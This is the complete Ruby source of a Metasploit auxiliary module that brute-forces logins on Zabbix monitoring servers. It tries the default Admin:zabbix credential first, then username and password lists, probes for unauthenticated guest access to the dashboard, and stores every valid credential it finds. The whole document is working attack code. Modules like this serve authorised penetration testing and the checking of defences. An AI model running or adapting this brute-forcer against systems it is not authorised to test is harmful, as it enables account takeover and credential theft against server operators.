Zabbix Server Brute Force Utility

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'metasploit/framework/login_scanner/zabbix'  
require 'metasploit/framework/credential_collection'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::AuthBrute  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'Zabbix Server Brute Force Utility',  
'Description' => %q{  
This module attempts to login to Zabbix server instance using username and password  
combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. It  
will also test for the Zabbix default login (Admin:zabbix) and guest access.  
},  
'Author' =>  
[  
'hdm'  
],  
'License' => MSF_LICENSE  
)  
  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('TARGETURI', [ true, 'The path to the Zabbix server application', '/zabbix/']),  
])  
end  
  
#  
# main  
#  
def run_host(ip)  
init_loginscanner(ip)  
msg = @scanner.check_setup  
if msg  
print_brute :level => :error, :ip => rhost, :msg => msg  
return  
end  
  
print_brute :level=>:status, :ip=>rhost, :msg=>("Found Zabbix version #{@scanner.version}")  
  
if is_guest_mode_enabled?  
print_brute :level => :good, :ip => ip, :msg => "Note: This Zabbix instance has Guest mode enabled"  
else  
print_brute :level=>:status, :ip=>rhost, :msg=>("This Zabbix instance has disabled Guest mode")  
end  
  
bruteforce(ip)  
end  
  
def bruteforce(ip)  
@scanner.scan! do |result|  
case result.status  
when Metasploit::Model::Login::Status::SUCCESSFUL  
print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'"  
do_report(ip, rport, result)  
:next_user  
when Metasploit::Model::Login::Status::DENIED_ACCESS  
print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}'"  
do_report(ip, rport, result)  
:next_user  
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT  
if datastore['VERBOSE']  
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"  
end  
invalidate_login(  
address: ip,  
port: rport,  
protocol: 'tcp',  
public: result.credential.public,  
private: result.credential.private,  
realm_key: result.credential.realm_key,  
realm_value: result.credential.realm,  
status: result.status  
)  
:abort  
when Metasploit::Model::Login::Status::INCORRECT  
if datastore['VERBOSE']  
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"  
end  
invalidate_login(  
address: ip,  
port: rport,  
protocol: 'tcp',  
public: result.credential.public,  
private: result.credential.private,  
realm_key: result.credential.realm_key,  
realm_value: result.credential.realm,  
status: result.status  
)  
end  
end  
end  
  
def do_report(ip, port, result)  
service_data = {  
address: ip,  
port: port,  
service_name: 'http',  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
module_fullname: self.fullname,  
origin_type: :service,  
private_data: result.credential.private,  
private_type: :password,  
username: result.credential.public,  
}.merge(service_data)  
  
credential_core = create_credential(credential_data)  
  
login_data = {  
core: credential_core,  
last_attempted_at: DateTime.now,  
status: result.status  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
def init_loginscanner(ip)  
@cred_collection = build_credential_collection(  
username: datastore['USERNAME'],  
password: datastore['PASSWORD']  
)  
  
# Always try the default first  
@cred_collection.prepend_cred(  
Metasploit::Framework::Credential.new(public: 'Admin', private: 'zabbix')  
)  
  
@scanner = Metasploit::Framework::LoginScanner::Zabbix.new(  
configure_http_login_scanner(  
uri: datastore['TARGETURI'],  
cred_details: @cred_collection,  
stop_on_success: datastore['STOP_ON_SUCCESS'],  
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],  
connection_timeout: 5,  
http_username: datastore['HttpUsername'],  
http_password: datastore['HttpPassword']  
)  
)  
end  
  
#  
# From the documentation:  
#  
# "In case of five consecutive failed login attempts, Zabbix interface will pause for 30  
# seconds in order to prevent brute force and dictionary attacks."  
#  
  
# Zabbix enables a Guest mode by default that allows access to the dashboard without auth  
def is_guest_mode_enabled?  
dashboard_uri = normalize_uri(datastore['TARGETURI'] + '/' + 'dashboard.php')  
res = send_request_cgi({'uri'=>dashboard_uri})  
if (res && res.code == 200 && res.body.to_s =~ /<title>.*: Dashboard<\/title>/)  
return true  
else # Otherwise target is most likely a newer version of Zabbix, so lets try the updated URL.  
dashboard_uri = normalize_uri(datastore['TARGETURI'] + '/' + 'zabbix.php')  
res = send_request_cgi({  
'uri' => dashboard_uri,  
'vars_get' => { 'action' => 'dashboard.view' }  
})  
if (res && res.code == 200 && res.body.to_s =~ /<title>.*: Dashboard<\/title>/)  
return true  
else  
return false  
end  
end  
end  
end  
`